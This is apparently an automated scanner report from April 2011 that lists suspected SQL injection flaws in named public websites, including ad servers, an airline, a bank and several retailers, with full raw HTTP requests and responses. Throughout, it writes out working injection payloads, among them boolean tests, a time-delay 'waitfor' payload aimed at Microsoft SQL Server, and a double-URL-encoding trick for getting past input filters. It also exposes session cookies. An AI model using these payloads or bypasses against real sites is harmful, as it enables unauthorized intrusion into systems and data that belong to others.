XSS, SQL Injection, HTTP Header Injection, DORK Report for April 2, 2011

The adurl parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the adurl parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=;ord=879784873?'%20and%201%3d1--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 13:00:36 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 13:00:36 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7132

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/2830766/cisco_webex_Together_AllText_728x90_r1.swf";
var gif = "http://s0.2mdn.net/2830766/cisco_webex_Hard-hit_AllText_728x90_r1.gif";
var minV = 8;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3add/f/19b/%2a/c%3B235704433%3B0-0%3B0%3B59487875%3B3454-728/90%3B40121456/40139243/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/lets-get-together.html%3FTrackID%3D1024433");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();

var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3add/f/19b/%2a/c%3B235704433%3B0-0%3B0%3B59487875%3B3454-728/90%3B40121456/40139243/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/lets-get-together.html%3FTrac
...[SNIP]...

Request 2

GET /adi/N1260.Google.com/B5219922.27;sz=728x90;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=;ord=879784873?'%20and%201%3d2--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998819&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcapec-86-dork-xss-cross-site-scripting-examples.html&dt=1301749042824&bpp=3&shv=r20110324&jsv=r20110321-2&correlator=1301749042836&frm=0&adk=1607234649&ga_vid=1243467471.1301749043&ga_sid=1301749043&ga_hid=1328169759&ga_fc=0&u_tz=-300&u_his=21&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=998&bih=1004&fu=0&ifi=1&dtd=16&xpc=E2Nhb6Q087&p=http%3A//xss.cx
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 02 Apr 2011 13:00:37 GMT
Vary: Accept-Encoding
Expires: Sat, 02 Apr 2011 13:00:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7144

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>
<script src="http://s0.2mdn.net/879366/flashwrite_1_2.js"></script>
<SCRIPT LANGUAGE="JavaScript">
<!--
function DCFlash(id,pVM){
var swf = "http://s0.2mdn.net/2830766/Cisco_WebEx_FacetoFace_HQ_Banner_728x90.swf";
var gif = "http://s0.2mdn.net/2830766/Cisco_WebEx_FacetoFace_HQ_Banner_728x90.gif";
var minV = 8;
var FWH = ' width="728" height="90" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3add/f/19b/%2a/f%3B236250338%3B0-0%3B0%3B59487875%3B3454-728/90%3B40497957/40515744/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/next-meeting-hqvideo.html%3FTrackID%3D1024051");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptaccess = "never";

var openWindow = "false";
var winW = 0;
var winH = 0;
var winL = 0;
var winT = 0;

var moviePath=swf.substring(0,swf.lastIndexOf("/"));
var sm=new Array();

var defaultCtVal = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3add/f/19b/%2a/f%3B236250338%3B0-0%3B0%3B59487875%3B3454-728/90%3B40497957/40515744/1%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=l&ai=BiFx0Dh2XTaX3Ic7ilQf6iqHVCPux5J4C25fY3hvAjbcB4JuQAhABGAEgvs7lDTgAUJT5_pcHYMkGoAHN19niA7IBBnhzcy5jeLoBCTcyOHg5MF9hc8gBCdoBUGh0dHA6Ly94c3MuY3gvZXhhbXBsZXMvaHRtbC9jYXBlYy04Ni1kb3JrLXhzcy1jcm9zcy1zaXRlLXNjcmlwdGluZy1leGFtcGxlcy5odG1suAIYyAKzq8AcqAMB0QNb5as_VmQv-OgDigPoAx_oAwX1AwAAAMQ&num=1&sig=AGiWqtxII5ILhYzUahUeLNR8TnlD6RZSPQ&client=ca-pub-4063878933780912&adurl=http%3a%2f%2fwww.webex.com/lpintl/us/banner/next-meeting-hqvideo.htm
...[SNIP]...

1.2. http://googleads.g.doubleclick.net/pagead/ads [shv parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The shv parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the shv parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Request 1

GET /pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998823&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcross-site-scripting-xss.www.courchevel.com.html&dt=1301748825197&bpp=5&shv=r20110324%2527&jsv=r20110321-2&correlator=1301748825485&frm=0&adk=1607234649&ga_vid=1342641436.1301748826&ga_sid=1301748826&ga_hid=1862808054&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=982&bih=1004&eid=33895132&fu=0&ifi=1&dtd=324&xpc=XYKSf8Neza&p=http%3A//xss.cx HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; __ar_v4=%7CTEDYGTRZH5DVRIBZAHSESJ%3A20110318%3A1%7CGUKQZOPGUBBXJAG5MGCY3C%3A20110318%3A1%7CN34ZPOW5TRGMJKDEFHM2G4%3A20110318%3A1%7CSDUW4IOBWFCKJBD7TJN7TI%3A20110318%3A1; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 02 Apr 2011 13:04:58 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 12326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#0000ff;cursor:pointer;}body,table,div,ul,li{font-s
...[SNIP]...
G1sL2Nyb3NzLXNpdGUtc2NyaXB0aW5nLXhzcy53d3cuY291cmNoZXZlbC5jb20uaHRtbKkCbbz1yg4Luz6oAwHIAxfoA6YD6AMf9QMAAADE&num=3&sig=AGiWqtxUeEkInJc9e-CqdzhYewXj-HfsJw&client=ca-pub-4063878933780912&adurl=http://www.exceptionalski.co.uk" id=aw2 onclick="ha('aw2')" onfocus="ss('','aw2')" onmousedown="st('aw2')" onmouseover="return ss('','aw2')" target=_top title="www.exceptionalski.co.uk">
...[SNIP]...

Request 2

GET /pagead/ads?client=ca-pub-4063878933780912&output=html&h=90&slotname=2510184792&w=728&lmt=1300998823&flash=10.2.154&url=http%3A%2F%2Fxss.cx%2Fexamples%2Fhtml%2Fcross-site-scripting-xss.www.courchevel.com.html&dt=1301748825197&bpp=5&shv=r20110324%2527%2527&jsv=r20110321-2&correlator=1301748825485&frm=0&adk=1607234649&ga_vid=1342641436.1301748826&ga_sid=1301748826&ga_hid=1862808054&ga_fc=0&u_tz=-300&u_his=4&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=982&bih=1004&eid=33895132&fu=0&ifi=1&dtd=324&xpc=XYKSf8Neza&p=http%3A//xss.cx HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=46b610ae0802f836:T=1299599836:S=ALNI_MZzdV0LZs3Dmal4yFxQFOTvWOZQJg; __ar_v4=%7CTEDYGTRZH5DVRIBZAHSESJ%3A20110318%3A1%7CGUKQZOPGUBBXJAG5MGCY3C%3A20110318%3A1%7CN34ZPOW5TRGMJKDEFHM2G4%3A20110318%3A1%7CSDUW4IOBWFCKJBD7TJN7TI%3A20110318%3A1; id=c708f553300004b|2305757/776973/15064,998766/320821/15055,1831140/746237/15055,2818894/957634/15036|t=1297805141|et=730|cs=v3vpvykb

Response 2

1.3. http://www.airtran.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.airtran.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.airtran.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 302 Moved Temporarily
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /ErrorHandler/CustomError.aspx?aspxerrorpath=/ErrorHandler/404.aspx
Content-Type: text/html; charset=utf-8
Content-Length: 184
Cache-Control: private, max-age=548
Expires: Sat, 02 Apr 2011 14:12:54 GMT
Date: Sat, 02 Apr 2011 14:03:46 GMT
Connection: close

<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/ErrorHandler/CustomError.aspx?aspxerrorpath=/ErrorHandler/404.aspx'>here</a>.</h2>
</body></html>

Request 2

GET /favicon.ico'' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.airtran.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Content-Type: text/html; charset=utf-8
Cache-Control: private, max-age=600
Expires: Sat, 02 Apr 2011 14:13:47 GMT
Date: Sat, 02 Apr 2011 14:03:47 GMT
Content-Length: 10394
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="e
...[SNIP]...

1.4. http://www.bbt.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.bbt.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 20086 milliseconds to respond to the request, compared with 1023 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /favicon.ico'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.bbt.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 - Not Found
content-type: text/html
date: Sat, 02 Apr 2011 13:44:37 GMT
p3p: CP="NON UNI CUR OTPi OUR NOR"
x-old-content-length: 15424
cache-control: private
x-powered-by: ASP.NET
Set-Cookie: AMWEBJCT!%2Fbbt!ASPSESSIONIDAASQCBAD=GLODNHDACIODPHHEBIKBIABD; Path=/
Set-Cookie: PD_STATEFUL_347ae440-9ca4-11da-83e0-00f81800e002=%2Fbbt; Path=/
Content-Length: 15564

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="DCS.dcsuri" content="/404err
...[SNIP]...

1.5. http://www.dealtime.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.dealtime.com
Path:	/favicon.ico

Issue detail

Request 1

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.dealtime.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Set-Cookie: brc=www.dealtime.com; Domain=dealtime.com; Expires=Sun, 03-Apr-2011 13:39:15 GMT; Path=/
Set-Cookie: JSESSIONID=805851EED71FF6143D9FA848ECA7CB9A; Path=/
Set-Cookie: session=ts%3D2%5EPVS%3D1; Domain=.dealtime.com; Path=/
Set-Cookie: reloadCheck=%2Ffavicon.ico%26%23039%3Bnull; Domain=.dealtime.com; Path=/
Set-Cookie: perm=countryCode%3Dus; Domain=.dealtime.com; Expires=Thu, 01-Apr-2021 13:39:15 GMT; Path=/
Set-Cookie: DealTimeUserID=Q2kuror0CK; Domain=.dealtime.com; Expires=Thu, 01-Apr-2021 13:39:15 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Content-Language: en-US
Date: Sat, 02 Apr 2011 13:39:14 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.co
...[SNIP]...
<body id="error">
...[SNIP]...

Request 2

GET /favicon.ico'' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.dealtime.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Set-Cookie: brc=www0.dealtime.com; Domain=dealtime.com; Expires=Sun, 03-Apr-2011 13:39:15 GMT; Path=/
Location: http://www0.dealtime.com/favicon.ico''
Set-Cookie: session=ts%3D2; Domain=.dealtime.com; Path=/
Content-Length: 0
Date: Sat, 02 Apr 2011 13:39:15 GMT
Connection: close

1.6. http://www.essortment.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.essortment.com
Path:	/favicon.ico

Issue detail

Request 1

GET /favicon.ico' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.essortment.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Content-Length: 122
Server: TornadoServer/0.1
Vary: Accept-Encoding
Date: Sat, 02 Apr 2011 13:35:16 GMT
Connection: close

You don't even get a site specific 404: HTTP 500: Internal Server Error ({
"GrammarParsingError": "Invalid CQL : '"
})

Request 2

GET /favicon.ico'' HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.essortment.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 404 Not Found
Content-Type: text/html
Server: TornadoServer/0.1
Date: Sat, 02 Apr 2011 13:35:17 GMT
Content-Length: 14756
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html lang="en-US" xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/
...[SNIP]...

1.7. http://www.ftd.com/favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.ftd.com
Path:	/favicon.ico

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads 13030870'%20or%201%3d1--%20 and 13030870'%20or%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /favicon.ico13030870'%20or%201%3d1--%20 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ftd.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 503 Service Unavailable
Server: Varnish
Retry-After: 0
Content-Type: text/html; charset=utf-8
Content-Length: 419
Date: Sat, 02 Apr 2011 13:47:27 GMT
X-Varnish: 1965658938
Age: 14
Via: 1.1 varnish
Connection: close

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<title>503 Service Unavailable</title>
</head>
<body>
<h1>Error 503 Service Unavailable</h1>
<p>Service Unavailable</p>
<h3>Guru Meditation:</h3>
<p>XID: 1965658938</p>
<hr>
<p>Varnish cache server</p>
</body>
</html>

Request 2

GET /favicon.ico13030870'%20or%201%3d2--%20 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: www.ftd.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 404 Not Found
Server: Apache
Set-Cookie: TLTSID=BF7AFCBE5D2F105D000DE46EBF25E07E; Path=/; Domain=.ftd.com
Set-Cookie: TLTUID=BF7AFCBE5D2F105D000DE46EBF25E07E; Path=/; Domain=.ftd.com; expires=Sat, 02-04-2021 13:47:27 GMT
Vary: Accept-Encoding
X-Accelerator-Vary: Accept-Encoding
P3P: CP="STA CUR TAI"
X-VR-Note: no-gzip: UA=curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Set-Cookie: s.events=0; domain=.ftd.com; path=/; expires=Thu, 22 Mar 1978 05:00:00 GMT
Content-Type: text/html
Content-Length: 80223
Date: Sat, 02 Apr 2011 13:47:28 GMT
X-Varnish: 1841592671
Age: 0
Via: 1.1 varnish
Connection: keep-alive

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml"
xmlns:og="http://opengraphprotocol.org/schema/"
xmlns:fb="http://www.facebook.com/2008/fbml">
<head>

<link rel="icon" href="http://www.ftd.com/350/favicon.ico" type="image/x-icon" />

   <script language="javascript" type="text/javascript">
   
   </script>

   <script language="javascript" src="http://www.ftdimg.com/v20101223/js/compressed.js"></script>
       <script language="javascript" type="text/javascript">
   <!--
       // we are going to set up a window onerror function
       // this will call our regular try/catch error function
       // this doesn't mean you shouldn't do try/catch blocks, try/catch blocks
       // are actually better then using the window.onerror event.
       try    {
       // now we re-set our oner
...[SNIP]...

1.8. http://www.guitarcenter.com/favicon.ico [User-Agent HTTP header] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://www.guitarcenter.com
Path:	/favicon.ico

Issue detail

The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Request 1

GET /favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3%2527
Host: www.guitarcenter.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 1

HTTP/1.1 404 Not Found
Content-Length: 1635
Content-Type: text/html
Server: Microsoft-IIS/6.0
SN: 88
X-Powered-By: ASP.NET
Date: Sat, 02 Apr 2011 14:15:08 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>The page cannot be found</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; cha
...[SNIP]...
<h2>HTTP Error 404 - File or directory not found.<br>
...[SNIP]...

Request 2

GET /favicon.ico HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3%2527%2527
Host: www.guitarcenter.com
Accept: */*
Proxy-Connection: Keep-Alive

Response 2

HTTP/1.1 404 Not Found
Date: Sat, 02 Apr 2011 14:15:10 GMT
Server: Microsoft-IIS/6.0
ETag:
SN: 27
X-Powered-By: ASP.NET
Set-Cookie: ASP.NET_SessionId=ouzuzrhrhudggjo104yitfb0; path=/; HttpOnly
Set-Cookie: ref=; path=/
Set-Cookie: ref_d=4/2/2011 10:15:10 AM; path=/
Set-Cookie: source=; path=/
Set-Cookie: ad_id=; path=/
Set-Cookie: orig_ref=; expires=Sat, 16-Apr-2011 14:15:10 GMT; path=/
Set-Cookie: orig_ref_d=4/2/2011 10:15:10 AM; expires=Sat, 16-Apr-2011 14:15:10 GMT; path=/
